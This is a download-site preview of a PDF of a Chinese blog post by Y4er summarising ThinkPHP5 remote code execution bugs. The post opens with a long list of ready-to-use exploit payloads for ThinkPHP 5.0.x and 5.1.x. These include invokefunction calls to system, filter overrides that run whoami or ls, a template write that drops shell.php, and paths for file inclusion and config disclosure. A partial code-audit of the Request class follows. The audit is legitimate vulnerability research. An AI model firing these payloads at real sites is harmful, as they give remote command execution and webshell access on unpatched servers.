没有合适的资源?快使用搜索试试~ 我知道了~
Thinkphp5 RCE总结 _ ChaBug安全1
需积分: 0 1 下载量 74 浏览量
2022-08-03
12:40:26
上传
评论
收藏 5.24MB PDF 举报
温馨提示
试读
51页
引入框架的start.php,跟进之后调用了App类的静态run()方法Thinkphp5 RCE总结 | ChaBug安全看下run()方法的定义public
资源详情
资源评论
资源推荐
2019/12/6 Thinkphp5 RCE总结 | ChaBug安全
https://www.chabug.org/audit/1078.html 1/51
Y4er
文能吹牛逼,武能喝啤酒。
最近文章
Thinkphp 源码阅读
Thinkphp5 RCE总结
Thinkphp3 漏洞总结
sqlmap tamper编写
Thinkphp错误使用Upload类导致
getshell
首页 / 代码审计
Thinkphp5 RCE总结
Y4er • 2019年11月27日 pm11:26 • 代码审计 • 阅读 329
thinkphp5最出名的就是rce,我先总结rce,rce有两个大版本的分别
1. ThinkPHP 5.0-5.0.24
2. ThinkPHP 5.1.0-5.1.30
因为漏洞触发点和版本的不同,导致payload分为多种,其中一些payload需要取决于debug选项
比如直接访问路由触发的
5.1.x :
?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x :
?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg # 包含任意文件
2019/12/6 Thinkphp5 RCE总结 | ChaBug安全
https://www.chabug.org/audit/1078.html 2/51
微信扫一扫
Thinkphp 源码阅
读
2019年11月27日
Thinkphp5 RCE总
结
2019年11月27日
Thinkphp3 漏洞
总结
2019年11月27日
?s=index/thinkConfig/load&file=../../t.php # 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
还有一种
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
可以看到payload分为两种类型,一种是因为Request类的method和__construct方法造成的,另一种是因为Request类
在兼容模式下获取的控制器没有进行合法校验,我们下面分两种来讲,然后会将thinkphp5的每个小版本都测试下找
2019/12/6 Thinkphp5 RCE总结 | ChaBug安全
https://www.chabug.org/audit/1078.html 3/51
Mysql注入学习笔
记
2019年11月22日
sqlmap tamper编
写
2019年11月18日
Thinkphp错误使
用Upload类导…
2019年11月8日
360Bug Cloud开
源漏洞响应平台…
2019年10月18日
我的waf bypass之
道
2019年10月11日
Metinfo7 后台注
入及一些tips
2019年10月6日
metinfo 6.2.0正则
匹配不严谨导致…
2019年9月28日
下可用的payload。
thinkphp5 method任意调用方法导致rce
php5.4.45+phpstudy+thinkphp5.0.5+phpstorm+xdebug
创建项目
composer create-project topthink/think=5.0.5 thinkphp5.0.5 --prefer-dist
我这边创建完项目之后拿到的版本不是5.0.5的,如果你的也不是就把compsoer.json里的require字段改为
然后运行compsoer update
漏洞分析
thinkphp/library/think/Request.php:504 Request类的method方法
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.5"
},
2019/12/6 Thinkphp5 RCE总结 | ChaBug安全
https://www.chabug.org/audit/1078.html 4/51
可以通过POST数组传入__method改变$this->{$this->method}($_POST);达到任意调用此类中的方法。
然后我们再来看这个类中的__contruct方法
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
2019/12/6 Thinkphp5 RCE总结 | ChaBug安全
https://www.chabug.org/audit/1078.html 5/51
重点是在foreach中,可以覆盖类属性,那么我们可以通过覆盖Request类的属性
这样filter就被赋值为system()了,在哪调用的呢?我们要追踪下thinkphp的运行流程
thinkphp是单程序入口,入口在public/index.php,在index.php中
require __DIR__ . '/../thinkphp/start.php';
引入框架的start.php,跟进之后调用了App类的静态run()方法
$this->input = file_get_contents('php://input');
}
剩余50页未读,继续阅读
丛乐
- 粉丝: 31
- 资源: 312
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
评论0